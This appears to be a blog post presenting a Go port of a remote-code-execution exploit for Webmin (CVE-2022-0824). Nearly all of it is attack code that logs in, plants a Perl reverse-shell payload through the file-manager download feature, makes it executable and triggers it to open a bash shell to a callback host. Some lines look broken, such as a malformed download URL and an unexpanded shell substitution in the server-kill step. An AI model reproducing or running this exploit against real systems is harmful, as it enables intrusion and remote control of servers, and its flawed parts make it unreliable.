I’ve continued my quest to translate exploits into Golang. Here is an RCE in Webmin due to broken access controls. Please see the following links for more information.
https://nvd.nist.gov/vuln/detail/CVE-2022-0824
https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
https://www.webmin.com/security.html
You can also find this code on my Github.
import (
"bytes"
"crypto/tls"
"flag"
"fmt"
"io"
"log"
"net/http"
"os"
"os/exec"
"regexp"
"runtime"
"strings"
)
func check(e error) {
if e != nil {
fmt.Println(e)
}
}
func makePayload(callbackIP string, callbackPort string) {
payload := []byte("perl -e 'use Socket;$i=\"" + callbackIP + "\";$p=" + callbackPort + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\")};'")
err := os.WriteFile("./commands.cgi", payload, 0644)
check(err)
return
}
func login(client http.Client, target string, creds string) string {
loginURL := target + "/session_login.cgi"
params := "user=" + strings.Split(creds, ":")[0] + "&pass=" + strings.Split(creds, ":")[1]
request, err := http.NewRequest("POST", loginURL, bytes.NewBufferString(params))
if err != nil {
log.Fatal(err)
}
request.Header.Set("Cookie", "redirect=1; testing=1")
request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
var sidCookie = ""
resp, err := client.Do(request)
if err != nil {
log.Fatalln(err)
} else {
sidCookie = resp.Request.Response.Cookies()[0].Value
}
resp.Body.Close()
// now use sid cookie to make sure it works to log in
request, err = http.NewRequest("GET", target, nil)
request.Header.Set("Cookie", "redirect=1; testing=1; sid="+sidCookie)
resp, err = client.Do(request)
if err != nil {
log.Fatalln(err)
}
bodyBytes, err := io.ReadAll(resp.Body)
bodyString := string(bodyBytes)
resp.Body.Close()
r, _ := regexp.Compile("System hostname")
if !r.MatchString(bodyString) {
fmt.Println("----> Unable to obtain sid cookie. Check your credentials.")
return ""
}
return sidCookie
}
func runServer(serverURL string) {
fmt.Println("--> Running a server on " + serverURL)
serverPort := strings.Split(serverURL, ":")[1]
exec.Command("setsid",
"/usr/bin/python3",
"-m",
"http.server",
serverPort,
"0>&1 &").Output()
fmt.Println("--> Server Started!")
return
}
func downloadURL(client http.Client, target string, serverURL string, creds string, sid string) {
URL := target + "/extensions/file-manager/http_download.cgi?module=filemin"
serverIP := strings.Split(serverURL, ":")[0]
serverPort := strings.Split(serverURL, ":")[1]
bodyString := "link=http://" + serverIP + "/" + serverPort + "/commands.cgi&username=&password=&path=/usr/share/webmin"
request, err := http.NewRequest("POST", URL, bytes.NewBufferString(bodyString))
request.Header.Set("Cookie", "sid="+sid)
resp, err := client.Do(request)
if err != nil {
fmt.Println((err))
}
resp.Body.Close()
return
}
func modifyPermissions(client http.Client, target string, serverURL string, creds string, sid string) {
modifyURL := target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
bodyString := "name=commands.cgi&perms=0755&applyto=1&path=/usr/share/webmin"
request, err := http.NewRequest("POST", modifyURL, bytes.NewBufferString(bodyString))
request.Header.Set("Cookie", "sid="+sid)
resp, err := client.Do(request)
if err != nil {
fmt.Println((err))
}
resp.Body.Close()
return
}
func execShell(client http.Client, target string, sid string) {
fileLocation := target + "/commands.cgi"
fmt.Println("--> Triggering shell. Check listener!")
request, err := http.NewRequest("GET", fileLocation, nil)
request.Header.Set("Cookie", "sid="+sid)
resp, err := client.Do(request)
if err != nil {
fmt.Println((err))
}
resp.Body.Close()
return
}
func stopServer() {
out, _ := exec.Command("kill",
"-9",
"$(lsof",
"-t",
"-i:{self.pyhttp_port})").Output()
fmt.Println("--> Killed Server!")
output := string(out[:])
fmt.Println(output)
return
}
func main() {
fmt.Println("--> Running Exploit! Ensure listener is running!")
if runtime.GOOS == "windows" {
fmt.Println("Can't Execute this on a windows machine")
return
}
target := flag.String("t", "https://www.webmin.local:10000", "Target full URL, https://www.webmin.local:10000")
creds := flag.String("c", "username:password", "Format, username:password")
serverURL := flag.String("sl", "192.168.8.120:8787", " Http server for serving payload, ex 192.168.8.120:8080")
callbackIP := flag.String("s", "127.0.0.1", " Callback IP to receive revshell")
callbackPort := flag.String("p", "9999", " Callback port to receive revshell")
flag.Parse()
// uncomment the following to use a local proxy
// proxyUrl, err := url.Parse("http://localhost:8080")
// check(err)
// tr := &http.Transport{
// TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11,
// MaxVersion: tls.VersionTLS11},
// Proxy: http.ProxyURL(proxyUrl),
// }
// client := &http.Client{Transport: tr}
// comment out these two lines if using the proxy above.
tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11, MaxVersion: tls.VersionTLS12}}
client := &http.Client{Transport: tr}
makePayload(*callbackIP, *callbackPort)
sid := login(*client, *target, *creds)
runServer(*serverURL)
downloadURL(*client, *target, *serverURL, *creds, sid)
modifyPermissions(*client, *target, *serverURL, *creds, sid)
execShell(*client, *target, sid)
stopServer()
}